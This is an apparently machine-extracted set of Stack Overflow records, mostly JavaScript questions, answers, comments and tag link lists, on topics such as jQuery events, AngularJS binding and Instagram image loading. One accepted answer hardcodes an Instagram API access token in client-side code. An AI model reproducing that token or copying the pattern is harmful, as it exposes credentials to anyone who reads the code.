type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25613746
type: Answer
accepted answer of: http://stackoverflow.com/q/25613746
has body: You're looking for this. After the initial loadImages(start_url) call, you should be able to call loadImages(next_url) to load and display more. new ElastiStack had to be called after the images had been appended. var access_token = "18360510.5b9e1e6.de870cc4d5344ffeaae178542029e98b", user_id = "18360510", //userid start_url = "https://api.instagram.com/v1/users/"+user_id+"/media/recent/?access_token="+access_token, next_url; function loadImages(url){ $.ajax({ type: "GET", dataType: "jsonp", cache: false, url: url, success: function(data){ displayImages(data); next_url = data.pagination.next_url; } }) } function displayImages(images){ for(var i = 0; i &lt; 20; i++){ if(images.data[i]){ $("#elasticstack").append("&lt;li&gt;&lt;img class='instagram-image' src='" + images.data[i].images.low_resolution.url + "'&gt;&lt;/li&gt;"); } } // Call it after the images have been appended new ElastiStack(document.getElementById('elasticstack')); } $(document).ready(function(){ loadImages(start_url); });

http://stackoverflow.com/a/44733493
upvote count: 10
downvote count: 0
has body: my_array.concat('foo'); concat doesn't alter the original array.
type: Answer
answers question: http://stackoverflow.com/q/25560930
score: 10

http://stackoverflow.com/comment/39982179
comment on: http://stackoverflow.com/a/25590642
type: AnswerComment
has text: I added my controller code for viewing as well as the working show page that i want to convert into a modal. I am starting to think that something is missing from this controller file. That the pin is not being set. Not sure how I would deal with this.
score: 0
type: Comment

http://stackoverflow.com/comment/39994962
score: 0
type: Comment
type: QuestionComment
has text: I think you need to escape the codes in the JSON: `\\r`.
comment on: http://stackoverflow.com/q/25603217

mongodb
tags question: http://stackoverflow.com/q/25690265
tags question: http://stackoverflow.com/q/25564110
tags question: http://stackoverflow.com/q/25605406
tags question: http://stackoverflow.com/q/25600618
tags question: http://stackoverflow.com/q/25640222
tags question: http://stackoverflow.com/q/25584432
tags question: http://stackoverflow.com/q/25596955
tags question: http://stackoverflow.com/q/25601985
tags question: http://stackoverflow.com/q/25689653
tags question: http://stackoverflow.com/q/25659134
tags question: http://stackoverflow.com/q/25681558
tags question: http://stackoverflow.com/q/25612652
tags question: http://stackoverflow.com/q/25657446
tag name: mongodb
tags question: http://stackoverflow.com/q/25709835
tags question: http://stackoverflow.com/q/25672890
tags question: http://stackoverflow.com/q/25656667
tags question: http://stackoverflow.com/q/25637049
tags question: http://stackoverflow.com/q/25682678
tags question: http://stackoverflow.com/q/25600312
tags question: http://stackoverflow.com/q/25593261
tags question: http://stackoverflow.com/q/25589512
tags question: http://stackoverflow.com/q/25690335
tags question: http://stackoverflow.com/q/25695897
type: Tag
tags question: http://stackoverflow.com/q/25609893
tags question: http://stackoverflow.com/q/25677327
tags question: http://stackoverflow.com/q/25564457
tags question: http://stackoverflow.com/q/25634824
tags question: http://stackoverflow.com/q/25704485
tags question: http://stackoverflow.com/q/25631856
tags question: http://stackoverflow.com/q/25615821
tags question: http://stackoverflow.com/q/25598560
tags question: http://stackoverflow.com/q/25709540
tags question: http://stackoverflow.com/q/25628792
tags question: http://stackoverflow.com/q/25607278
tags question: http://stackoverflow.com/q/25632518
tags question: http://stackoverflow.com/q/25574826
tags question: http://stackoverflow.com/q/25659894
tags question: http://stackoverflow.com/q/25551361
tags question: http://stackoverflow.com/q/25631772
tags question: http://stackoverflow.com/q/25609133
tags question: http://stackoverflow.com/q/25578579
tags question: http://stackoverflow.com/q/25708722
tags question: http://stackoverflow.com/q/25671472
tags question: http://stackoverflow.com/q/25632643
tags question: http://stackoverflow.com/q/25588162
tags question: http://stackoverflow.com/q/25610200
tags question: http://stackoverflow.com/q/25640557
tags question: http://stackoverflow.com/q/25604276
tags question: http://stackoverflow.com/q/25633999
tags question: http://stackoverflow.com/q/25676528
tags question: http://stackoverflow.com/q/25589681
tags question: http://stackoverflow.com/q/25660777
tags question: http://stackoverflow.com/q/25656151
tags question: http://stackoverflow.com/q/25683274

asp.net
tags question: http://stackoverflow.com/q/25700053
tags question: http://stackoverflow.com/q/25710837
tags question: http://stackoverflow.com/q/25642004
tags question: http://stackoverflow.com/q/25663053
tags question: http://stackoverflow.com/q/25652977
tags question: http://stackoverflow.com/q/25669978
tags question: http://stackoverflow.com/q/25586082
tags question: http://stackoverflow.com/q/25603989
tags question: http://stackoverflow.com/q/25688325
tags question: http://stackoverflow.com/q/25656787
tags question: http://stackoverflow.com/q/25607182
tags question: http://stackoverflow.com/q/25557897
tags question: http://stackoverflow.com/q/25685915
tags question: http://stackoverflow.com/q/25602486
tags question: http://stackoverflow.com/q/25690181
tags question: http://stackoverflow.com/q/25619984
tags question: http://stackoverflow.com/q/25640875
tags question: http://stackoverflow.com/q/25627004
tags question: http://stackoverflow.com/q/25615873
tags question: http://stackoverflow.com/q/25693473
tags question: http://stackoverflow.com/q/25620019
tags question: http://stackoverflow.com/q/25621049
tags question: http://stackoverflow.com/q/25643687
tags question: http://stackoverflow.com/q/25600069
tags question: http://stackoverflow.com/q/25599865
tags question: http://stackoverflow.com/q/25655892
tags question: http://stackoverflow.com/q/25646343
tags question: http://stackoverflow.com/q/25573789
tags question: http://stackoverflow.com/q/25618000
tags question: http://stackoverflow.com/q/25707198
tags question: http://stackoverflow.com/q/25562727
tags question: http://stackoverflow.com/q/25623035
tags question: http://stackoverflow.com/q/25632111
tags question: http://stackoverflow.com/q/25665744
tags question: http://stackoverflow.com/q/25654651
tags question: http://stackoverflow.com/q/25646256
tags question: http://stackoverflow.com/q/25640138
tags question: http://stackoverflow.com/q/25665210
tags question: http://stackoverflow.com/q/25640777
tags question: http://stackoverflow.com/q/25628123
tags question: http://stackoverflow.com/q/25649684
tags question: http://stackoverflow.com/q/25594889
tags question: http://stackoverflow.com/q/25585007
tags question: http://stackoverflow.com/q/25618507
tags question: http://stackoverflow.com/q/25625596
tags question: http://stackoverflow.com/q/25635690
tags question: http://stackoverflow.com/q/25646879
tags question: http://stackoverflow.com/q/25555463
tags question: http://stackoverflow.com/q/25620341
tags question: http://stackoverflow.com/q/25635042
tags question: http://stackoverflow.com/q/25630438
tags question: http://stackoverflow.com/q/25565611
tags question: http://stackoverflow.com/q/25559023
tags question: http://stackoverflow.com/q/25657692
tags question: http://stackoverflow.com/q/25631213
tags question: http://stackoverflow.com/q/25619486
tags question: http://stackoverflow.com/q/25698851
tags question: http://stackoverflow.com/q/25585200
tags question: http://stackoverflow.com/q/25661618
tags question: http://stackoverflow.com/q/25574532
tags question: http://stackoverflow.com/q/25650687
tags question: http://stackoverflow.com/q/25596242
tags question: http://stackoverflow.com/q/25653236
type: Tag
tags question: http://stackoverflow.com/q/25689661
tags question: http://stackoverflow.com/q/25603501
tags question: http://stackoverflow.com/q/25636151
tags question: http://stackoverflow.com/q/25691577
tags question: http://stackoverflow.com/q/25616925
tags question: http://stackoverflow.com/q/25709752
tags question: http://stackoverflow.com/q/25601942
tags question: http://stackoverflow.com/q/25691454
tags question: http://stackoverflow.com/q/25579107
tags question: http://stackoverflow.com/q/25644014
tags question: http://stackoverflow.com/q/25576009
tags question: http://stackoverflow.com/q/25652497
tags question: http://stackoverflow.com/q/25571175
tags question: http://stackoverflow.com/q/25623831
tags question: http://stackoverflow.com/q/25582811
tags question: http://stackoverflow.com/q/25557112

http://stackoverflow.com/comment/40166292
type: Comment
has text: now check another solution of `$location` service added
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25697355

http://stackoverflow.com/a/26556887
downvote count: 1
has comment: http://stackoverflow.com/comment/46912149
has body: I have slightly different approach. bower install animate-css --save it will grab animate.css but save at: bower_components/animate-css Using this method you don't have to play with Gruntfile.js which I personally consider unpleasant to edit and even look at ;)
accepted answer of: http://stackoverflow.com/q/25627181
has comment: http://stackoverflow.com/comment/51401855
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25627181
upvote count: 8
type: Answer
has comment: http://stackoverflow.com/comment/46883009
score: 7

http://stackoverflow.com/comment/40110586
comment on: http://stackoverflow.com/a/25666441
type: AnswerComment
score: 0
type: Comment
has text: add the function as a eventhandler when the page loads. Put the script in the page.

http://stackoverflow.com/a/25672654
has comment: http://stackoverflow.com/comment/40120520
accepted answer of: http://stackoverflow.com/q/25672426
has body: I assume that you mean with 'later' the time in the user-sight an not the time in the script. The problem is that the jQuery doesn't know about the element if you create it after explaining that jQuery shell do x on event y. So if you set the click-event in $(document).ready(function(){*here*}) and you create an element afterwards (after the document-ready was fired), jQuery doesn't know these fresh elements. So to solve your problem, try to add the event after you created the element (creation not equal to appending!): // created the element var newElement = $('&lt;div class="horizontal result_element"&gt;&lt;div class="result_photo"&gt;&lt;/div&gt;&lt;div id="'+ user_id +'" class="result_data"&gt;'+ user_name +'&lt;/div&gt;&lt;/div&gt;'); // now set the event newElement.click(function () { var url = "profile.php?user_id="+ $(this).children("[class='result_data']").attr("id"); $(location).attr('href',url); }) // now append it newElement.appendTo($(".results")) // or: $(".results").append(newElement) And you can reorder the two last steps, so you first append it and then set the event, thats not the point. The point is, that you create the element first and then set the event.
answers question: http://stackoverflow.com/q/25672426
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/comment/132409016
has text: Identical answer to [top one](https://stackoverflow.com/a/26016814/104380), which was made 2 years before this one was
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/38822356

http://stackoverflow.com/a/25558737
score: 1
has body: You need to force the axis range by adding .forceY([0,500]) to the chart instantiation. This SO answer might be helpful. That should at least point you in the right direction.
upvote count: 1
has comment: http://stackoverflow.com/comment/39932784
has comment: http://stackoverflow.com/comment/45940005
type: Answer
answers question: http://stackoverflow.com/q/25558125
downvote count: 0

http://stackoverflow.com/q/25635379
has comment: http://stackoverflow.com/comment/40053889
has answer: http://stackoverflow.com/a/25635788
has title: Create an Array with Data from TD Tags
type: Question
has answer: http://stackoverflow.com/a/25635646
tagged with: javascript
score: 0
answer count: 2
type: UnansweredQuestion
has body: I want to export an HTML table into a spreadsheet that will be created by the JavaScript program. I've considered doing this via the JQuery library but I don't know much about it nor do I think that it will be allowed in my situation. I have seen a solution that uses XML but I don't know much about XML either. What I intend on doing is creating a 2 dimensional array and exporting the contents of that array into Excel. Unfortunately, I don't have control over the tagging scheme and I will have to use getElementsByTagName. The tagging scheme is created via a reporting software. The below code loops to the second row but it stops at the second row. I can't figure out what I am doing wrong. I hope that somebody will be able to explain a remedy to the error. a 1 b 2 c 3 d 4
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25564017
tagged with: os-detection
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25565236
tagged with: javascript
has comment: http://stackoverflow.com/comment/39921853
favorite count: 0
has comment: http://stackoverflow.com/comment/39966643
type: Question
has title: JavaScript to detect OS in Chrome Version 37.0.2062.94
possible better answer: http://stackoverflow.com/a/25564241
has answer: http://stackoverflow.com/a/25564241
has body: I'm developing one-page apps. The shortcut should vary from different OSs, especially Mac OS X. Others usually combine keystroke with Ctrl, but Mac combins with Cmd. Until now, I tried to detect whether the OS is mac or not by this code: var bMac = navigator.appVersion.indexOf('Mac') &gt; -1; This code worked well. However, after updating the Chrome to the recent version (37.0.2062.94), it doesn't work anymore. Is there anyway to detect host OS of browser in JavaScript? I checked Google Docs in Chrome and it's shortcut worked well with Cmd in Mac and Ctrl in Window. There should be a way to detect OS in JavaScript in Chrome. EDIT I googled and found some pages about detecting OS in javascript: http://www.javascripter.net/faq/operatin.htm How to detect my browser version and operating system using JavaScript? (lots of more...)
accepted answer: http://stackoverflow.com/a/25565236
score: 0
answer count: 2
upvote count: 1
tagged with: google-chrome
downvote count: 1
linked to: http://stackoverflow.com/q/647969
linked to: http://stackoverflow.com/q/11219582

http://stackoverflow.com/comment/40011722
score: 1
has text: LOL: I have programmed in other languages more...unfortunately I don't have much say over how this gets done. The problem is that there could be any number of 'vegetables' added that I don't want to use. In mongo query, you have to not just say what values you want to find ($in) but you also have to state what values you don't want ($nin).
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25612667

http://stackoverflow.com/comment/40135775
has text: That's not valid JSON.
score: 4
comment on: http://stackoverflow.com/q/25681071
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39904381
score: 0
type: Comment
type: QuestionComment
has text: could you pass the url you want to go to to your server along with the data, have the serve record the click then redirect the user
comment on: http://stackoverflow.com/q/25554598

http://stackoverflow.com/comment/40185188
score: 0
comment on: http://stackoverflow.com/a/25698288
type: Comment
has text: Thanks it work great. I also face same problem of attaching callbacks. They pass full model instead of just button object. I have to do it any how so in my solution I just add 3 more callback in `sematic-ui's` modal.js. It was a bad solution but worked. I will try it next time. Thanks..
type: AnswerComment

scope
tags question: http://stackoverflow.com/q/25672346
tags question: http://stackoverflow.com/q/25582350
tags question: http://stackoverflow.com/q/25573293
tags question: http://stackoverflow.com/q/25608961
tags question: http://stackoverflow.com/q/25662143
tags question: http://stackoverflow.com/q/25588247
tags question: http://stackoverflow.com/q/25572777
tags question: http://stackoverflow.com/q/25592945
tags question: http://stackoverflow.com/q/25585467
tag name: scope
tags question: http://stackoverflow.com/q/25575464
tags question: http://stackoverflow.com/q/25637049
tags question: http://stackoverflow.com/q/25588801
type: Tag
tags question: http://stackoverflow.com/q/25711565
tags question: http://stackoverflow.com/q/25675504
tags question: http://stackoverflow.com/q/25694815
tags question: http://stackoverflow.com/q/25645379
tags question: http://stackoverflow.com/q/25592023
tags question: http://stackoverflow.com/q/25669993
tags question: http://stackoverflow.com/q/25690590

http://stackoverflow.com/comment/40101691
comment on: http://stackoverflow.com/a/25654521
type: Comment
score: 0
has text: Racer, you misunderstand the `collection` value in `partial` renders - I'll write an answer to explain
type: AnswerComment

http://stackoverflow.com/comment/39923413
type: Comment
comment on: http://stackoverflow.com/a/25563207
has text: @CodeFarmer See the implementation of `sqlConnect`. At first, it new a connection without a callback. So you can get `conn` before connected. Then call `connect` on `conn`, with a lambda callback which only accept a single `err` argument. And the lambda calls `cb(err, conn)`, so that you get `conn` in `cb`.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25683701
has comment: http://stackoverflow.com/comment/40140480
accepted answer: http://stackoverflow.com/a/25691546
has title: Returning socket.io object is not usable outside the scope in client.js
tagged with: sockets
tagged with: node.js
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25684514
tagged with: mysql
possible better answer: http://stackoverflow.com/a/25684514
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40140665
has comment: http://stackoverflow.com/comment/40140616
has comment: http://stackoverflow.com/comment/40141068
has comment: http://stackoverflow.com/comment/40140809
tagged with: javascript
has body: I have a client.js and a server.js, in server.js i'm connected to mysql table, and sending queries from client to server. as i get the queries results into the socket.on('event',function(queryResult{...})) in client.js i can't use the result outside that scope (inside client.js but outside that scope) all connections are done locally with a port at localhost. index.html: &lt;script src="http://localhost:3000/socket.io/socket.io.js"&gt;&lt;/script&gt; &lt;script src="includes/client.js"&gt;&lt;/script&gt; &lt;body&gt; &lt;div id="getQueryStr"&gt;&lt;/div&gt; &lt;/body&gt; server.js: var io = require('socket.io').listen(3000); var mysql = require('mysql'); . . . io.sockets.on('newQuery', function(newQuery){ MySql_Connection.query(newQuery) .on('result', function(queryResultsData){ queryResultsArr.push(queryResultsData); }) .on('end', function(){ socket.emit('query results', queryResultsArr); }); }); client.js: $(document).ready(function() { var socket = io.connect('http://localhost:3000'); var html=''; var tempStr=''; $('input#centerSearchInp').bind('keypress', function(e){ if(e.keyCode==13){ socket.on('query results', function(queryResult){ html = queryResult[0].firstName; $('#getQueryStr').html(html); //////OK! tempStr = html; }); alert(tempStr); //////////NOT OK! } } }); I have tried using innerText and all kind of stuff but no metter what i'm doing, i just not able to use this data outside that scope.
score: 0
has answer: http://stackoverflow.com/a/25691546

http://stackoverflow.com/comment/39920012
type: QuestionComment
has text: Well, download Fiddler2 and compare the outgoing requests, what are you missing? Set it.
comment on: http://stackoverflow.com/q/25563047
score: 0
type: Comment

http://stackoverflow.com/q/25669660
score: 0
has body: I am trying to create addon for firefox that will add some functionality to firefox developer tools. similar to Ember inspector (https://addons.mozilla.org/en-US/firefox/addon/ember-inspector/) Is there any good tutorial or sample of code that will guide me through creating a hello world addon that will add a tab into firefox developer tools. Thank you in advance.
tagged with: firefox-addon
tagged with: firefox-addon-sdk
favorite count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/40115885
downvote count: 1
has answer: http://stackoverflow.com/a/25671553
type: AnsweredQuestion
tagged with: firefox-developer-tools
has title: How to develop Firefox addon that adds tab to firefox native developer tools (not firebug)
type: Question
has comment: http://stackoverflow.com/comment/40115331
tagged with: firefox
answer count: 1
accepted answer: http://stackoverflow.com/a/25671553
tagged with: javascript

http://stackoverflow.com/q/25620542
answer count: 1
has comment: http://stackoverflow.com/comment/40027898
has title: How to display text when we toggle in javascript?
type: AnsweredQuestion
tagged with: onclick
has comment: http://stackoverflow.com/comment/40026105
type: Question
has comment: http://stackoverflow.com/comment/40026230
has body: I would like to show a text when user clicks on an icon. I have the following code block, but it is wrong. Can someone correct me:
tagged with: javascript
tagged with: jquery
score: 0
has answer: http://stackoverflow.com/a/25620596
accepted answer: http://stackoverflow.com/a/25620596
has comment: http://stackoverflow.com/comment/40026267

http://stackoverflow.com/q/25687174
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25687260
score: 0
answer count: 3
has body: In my little playlist script : http://www.monde-du-rat.fr/zombieReport/popup.html#/radio The IDS are not correctly ordered : 1,10,11,2,3 ... My json is here http://www.monde-du-rat.fr/zombieReport/resources/data/radio.json , and my html is : what's wrong ?
tagged with: angularjs
possible better answer: http://stackoverflow.com/a/25687995
accepted answer: http://stackoverflow.com/a/25687260
has answer: http://stackoverflow.com/a/25687995
has answer: http://stackoverflow.com/a/25688020
has title: Bad order in angularjs ng-repeat

http://stackoverflow.com/a/25613600
has body: Managed to get this working using the following: db.transaction( function(tx) { for (var i = 0; i &lt; roundarray.length; i++) { var gamearray = roundarray[i]; for (var n = 0; n &lt; gamearray.length; n++) { var teamarray = gamearray[n]; ht = teamarray['home']; at = teamarray['away']; if (ht != '--ghost--' &amp;&amp; at != '--ghost--') { insert_fixture(tx, ht, at, league); } } } } );
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25612425

ruby-on-rails
tags question: http://stackoverflow.com/q/25558129
type: Tag
tags question: http://stackoverflow.com/q/25678338
tags question: http://stackoverflow.com/q/25592760
tags question: http://stackoverflow.com/q/25651684
tags question: http://stackoverflow.com/q/25694396
tags question: http://stackoverflow.com/q/25684115
tags question: http://stackoverflow.com/q/25635395
tags question: http://stackoverflow.com/q/25632094
tags question: http://stackoverflow.com/q/25657046
tags question: http://stackoverflow.com/q/25558618
tags question: http://stackoverflow.com/q/25593414
tags question: http://stackoverflow.com/q/25617395
tags question: http://stackoverflow.com/q/25601650
tags question: http://stackoverflow.com/q/25600084
tags question: http://stackoverflow.com/q/25622037
tags question: http://stackoverflow.com/q/25661956
tags question: http://stackoverflow.com/q/25585596
tags question: http://stackoverflow.com/q/25594860
tags question: http://stackoverflow.com/q/25705397
tags question: http://stackoverflow.com/q/25619498
tags question: http://stackoverflow.com/q/25597550
tags question: http://stackoverflow.com/q/25632228
tags question: http://stackoverflow.com/q/25596712
tags question: http://stackoverflow.com/q/25561745
tags question: http://stackoverflow.com/q/25625614
tags question: http://stackoverflow.com/q/25569376
tags question: http://stackoverflow.com/q/25664186
tags question: http://stackoverflow.com/q/25631714
tags question: http://stackoverflow.com/q/25657405
tags question: http://stackoverflow.com/q/25701799
tags question: http://stackoverflow.com/q/25583340
tags question: http://stackoverflow.com/q/25657922
tag name: ruby-on-rails
tags question: http://stackoverflow.com/q/25659145
tags question: http://stackoverflow.com/q/25674102
tags question: http://stackoverflow.com/q/25670343
tags question: http://stackoverflow.com/q/25697115
tags question: http://stackoverflow.com/q/25629211
tags question: http://stackoverflow.com/q/25551238
tags question: http://stackoverflow.com/q/25587780
tags question: http://stackoverflow.com/q/25566867
tags question: http://stackoverflow.com/q/25584348
tags question: http://stackoverflow.com/q/25588101
tags question: http://stackoverflow.com/q/25647139
tags question: http://stackoverflow.com/q/25684787
tags question: http://stackoverflow.com/q/25678573
tags question: http://stackoverflow.com/q/25576148
tags question: http://stackoverflow.com/q/25640282
tags question: http://stackoverflow.com/q/25562817
tags question: http://stackoverflow.com/q/25658363
tags question: http://stackoverflow.com/q/25599305
tags question: http://stackoverflow.com/q/25664568
tags question: http://stackoverflow.com/q/25588333
tags question: http://stackoverflow.com/q/25602625
tags question: http://stackoverflow.com/q/25588212

http://stackoverflow.com/comment/40102829
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25625406
has text: @geocodezip I followed your idea and split the locations to arrays containing the maximum number a request can handle. It worked this way
score: 0

http://stackoverflow.com/a/25603291
answers question: http://stackoverflow.com/q/25603172
downvote count: 0
type: Answer
upvote count: 1
score: 1
has body: You could do this with the match function: jQuery.ajax({ url: website, success: function(data) { var body = data.match(/&lt;body&gt;(.*)&lt;\/body&gt;/)[1]; var sumKeyword = body.split(keyword).length - 1; alert (sumKeyword); } });

http://stackoverflow.com/comment/39952639
type: Comment
comment on: http://stackoverflow.com/a/25580199
has text: thank you mate, this is very nice answer, but about type of error, thats mean all the error in js have a same type ..and we can handle it by try, catch only ?
type: AnswerComment
score: 0

http://stackoverflow.com/a/25634090
has comment: http://stackoverflow.com/comment/40054201
has comment: http://stackoverflow.com/comment/40051632
score: 0
has comment: http://stackoverflow.com/comment/40051772
answers question: http://stackoverflow.com/q/25633979
has body: If you're using jquery: var canvas = $('#yourCanvas'); canvas.height(canvas.height()+14); If you're not (and you are using height="" attribute): var canvas = document.getElementById('yourCanvas'); canvas.height = canvas.height+14; If you're using css to style the height: var canvas = document.getElementById('yourCanvas'); canvas.style.height = (parseInt(canvas.style.height.substring(0,canvas.style.height.length-2))+14)+"px";
has comment: http://stackoverflow.com/comment/40053781
type: Answer
has comment: http://stackoverflow.com/comment/40081581

winjs
tags question: http://stackoverflow.com/q/25680638
tags question: http://stackoverflow.com/q/25624884
tags question: http://stackoverflow.com/q/25605476
tags question: http://stackoverflow.com/q/25613012
tags question: http://stackoverflow.com/q/25605215
tag name: winjs
tags question: http://stackoverflow.com/q/25637870
type: Tag

http://stackoverflow.com/a/25586649
downvote count: 1
has body: AngularJS uses two-way binding. It means that if you write something in input with ng-model="formData.email", the scope value will change and in controller it will be accessible as $scope.formData.email. And if you change the value of $scope.formData.email in controller, it will automatically update the value of &lt;input /&gt; in view. To set the default address, you should remove the value attribute from input and set the value of $scope.formData.email in JavaScript at the beginning of controller. I recommend you to read the official basic tutorial. Everything is very well described there.
score: -1
upvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25586575

http://stackoverflow.com/comment/40046916
type: Comment
comment on: http://stackoverflow.com/a/25630432
has text: the example is more complicate than this, the there are lots of text also inlcuded "," between introduction and Methods. But I think I already got the idea which is to write a filter fucntion. and I will use regular expression to parse. and thank you for ur help~ @smerny
type: AnswerComment
score: 0

http://stackoverflow.com/q/25567165
accepted answer: http://stackoverflow.com/a/25568110
tagged with: mapreduce
type: Question
tagged with: crossfilter
tagged with: javascript
score: 0
answer count: 1
has body: I have a Crossfilterjs dimension on a key corresponding to an object. I group on one of the attributes of the object and use reduceCount() to find counts of values for that attribute, but the results are not what I expected. My code: &lt;!DOCTYPE html&gt; &lt;meta charset="utf-8"&gt; &lt;script src="//cdnjs.cloudflare.com/ajax/libs/crossfilter/1.3.9/crossfilter.min.js"&gt;&lt;/script&gt; &lt;script&gt; var arr = []; for (var i = 0; i &lt; 100; i++) { for (var j = 0; j &lt; 100; j++) { for (var k = 0; k &lt; 100; k++) arr.push({a: i, e: { b: j, c: k}}); } } var cf = crossfilter(arr), a = cf.dimension(function(d) { return d.a; }), e = cf.dimension(function(d) { return d.e; }); var counts = e.group(function(d) { return d.b; }) .reduceCount() .orderNatural() .top(Infinity); console.log(counts); &lt;/script&gt; When I check the console I get an array with 67 key/value objects. I was expecting to get an array with 100 key/value objects, one for each value of b. Also some of the counts aren't what I expected. I expected all of the values to be the same. However, for most keys I get a value of 100 and for a few I get very different values. The key 99 has a value of 990100. I got these results in Google Chrome 36.0.1985.143 m. I haven't used custom grouping functions before in Crossfilterjs and it seems like I don't understand the functionality properly. I looked up grouping on the Crossfilterjs API, but it didn't help me clear things up. Thanks in advance
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25568110
has title: Unexpected behaviour using group in Crossfilterjs

http://stackoverflow.com/comment/83629609
type: Comment
score: 11
type: AnswerComment
has text: Worth it saying that this is an implementation of the (Central limit theorem)[https://en.wikipedia.org/wiki/Central_limit_theorem], being `6` the sample size. It privileges central numbers and forgot tail numbers comparing with Gauss curve. Here is an implementation of mine: http://plnkr.co/edit/jaky1FHCGpt81vs5Lohz?p=preview;
comment on: http://stackoverflow.com/a/39187274

http://stackoverflow.com/q/25676622
upvote count: 1
has comment: http://stackoverflow.com/comment/40127835
has body: i am having a problem with jQuery. i am trying to create an even that is triggered by a single key pressed, but instead -some of it- is triggered by any key. don't understand why. i have done this a bunch of times and had no problem. all of a sudden this particular combination of code is acting weird. i don't understand. i have tried all sorts of experiments on it to figure it out. the problem is very specific and consistent on multiple browsers. please help! here is the link to the page. http://www.lyliansill.com/test.html> to see what i am talking about press 'a' and it works like it should. reload and press any other keys and half of the event is still triggered. Test Test
accepted answer: http://stackoverflow.com/a/25676654
type: AnsweredQuestion
downvote count: 0
possible better answer: http://stackoverflow.com/a/25676646
tagged with: javascript
score: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25676646
favorite count: 0
type: Question
has title: jquery keypress condition glitch any key
has answer: http://stackoverflow.com/a/25676654
answer count: 2

http://stackoverflow.com/comment/39940595
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25572891
has text: Just do `console.log(posts);` after you set the `posts` variable. What's the result of that?
score: 0

http://stackoverflow.com/q/25555216
has title: Forwarding mouse scroll event to another div using JavaScript
has comment: http://stackoverflow.com/comment/39996484
has body: The title pretty much describes my objective. Here is the code [works only on WebKit]: We have two divs, elem1 &amp; elem2. There is also one textbox called logger to display result. elem1 has some text with overflow:scroll. function eventHandler(e){ var myEvt = new e.constructor(e.type, e); document.getElementById('elem1').dispatchEvent(myEvt); } function elem1MouseScroll(e){ document.getElementById('logger').value='mousescroll on ' + (e.target || e.srcElement).id + ' at (' + e.clientX + ', ' + e.clientY + ')'; } document.getElementById('elem1').addEventListener('mousewheel', elem1MouseScroll, false); document.getElementById('elem2').addEventListener('mousewheel', eventHandler, false); http://jsfiddle.net/s4hwt886/1 [Mouse wheel scroll on blue div is supposed to be forwarded to pink div. The textbox on top shows the result.] As you can see, even though mousewheel event from elem2 triggers the same on elem1, unfortunately the content inside elem1 does not not actually scroll. I am quite perplexed. Can anyone help ? You don't have to worry about the not working in Gecko part. The constructor trick does not work in Gecko, so the code will be somewhat larger. That's why I did not include that in the fiddle. Edit: In Chrome this fiddle works just like I want it to. So I updated the code to support Gecko. Unfortunately Firefox behaves just like Safari. The forwarded event is firing, I can see it in log textbox, but the contents are not scrolling. Here is the updated fiddle: http://jsfiddle.net/s4hwt886/2/ N.B. I want a non-Jquery solution. All other similar threads that I could find deal with Jquery.
has comment: http://stackoverflow.com/comment/84609687
downvote count: 0
has comment: http://stackoverflow.com/comment/40156831
favorite count: 0
has comment: http://stackoverflow.com/comment/40046235
upvote count: 8
type: UnansweredQuestion
tagged with: mouse
score: 8
tagged with: forward
has comment: http://stackoverflow.com/comment/137131400
answer count: 0
has comment: http://stackoverflow.com/comment/40066355
tagged with: scroll
has comment: http://stackoverflow.com/comment/40045875
has comment: http://stackoverflow.com/comment/83460176
has comment: http://stackoverflow.com/comment/40066410
has comment: http://stackoverflow.com/comment/39905367
type: Question
has comment: http://stackoverflow.com/comment/40045944
tagged with: mousewheel
has comment: http://stackoverflow.com/comment/39998744
tagged with: javascript
has comment: http://stackoverflow.com/comment/40156080

http://stackoverflow.com/comment/40097628
has text: @Satpal I'm sure we'd love to, however it's down to the client that pays the bills what level of support is required.
type: QuestionComment
type: Comment
score: 2
comment on: http://stackoverflow.com/q/25659752

http://stackoverflow.com/comment/40221183
type: AnswerComment
comment on: http://stackoverflow.com/a/25702176
type: Comment
has text: Thank you for the suggestion but this is more or less how I got it as a workaround already. I want to have it as one object. Mainly because I am learning JS and I want to know how to the future. The other reason is that I like it that way. There must be some elegant way to do this directly. I am going to wait for a while if someone would be kind enough to help me or at least point me to the right direction. If nobody shows up I will accept your answer as a workaround for other people even though it didnt helped me.
score: 0

http://stackoverflow.com/q/25627025
has answer: http://stackoverflow.com/a/25627183
answer count: 1
tagged with: google-chrome
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/87029496
type: Question
tagged with: digest-authentication
accepted answer: http://stackoverflow.com/a/25627183
has title: chrome console show password with digest authentication
tagged with: javascript
has body: I'm building an API using Digest Authentication (CakePHP). I'm using jQuery as client and its "username + password" options fields. While everything is working pretty well, I have noticed a really strange behavior with Chrome browser's console. In the "Headers" section, the Request URL show my password in plain text (paste from the console): Request URL : http://my_username:my_password@project_api.dev/groups/ I'm afraid ! Is this normal ? Will everyone being able to see my password if opening their console and sniffing request ? I thought Digest Authentification was fairly secure since the password is encapsulated with a hash into the "response" key in "Authorization" header. I've check with Safari console and Firefox console, doesn't seem to be shown in Request URL there... Everyone an idea why it's shown in Chrome browser ? Is it safe or not ? Thanks !
score: 0

http://stackoverflow.com/comment/39924067
score: 0
has text: @LarsKotthoff Hm, ok. That doesn't seem worth the effort. Thanks anyway. If you convert that to an answer, I'll accept it.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25564780

http://stackoverflow.com/comment/39898857
score: 0
type: Comment
type: QuestionComment
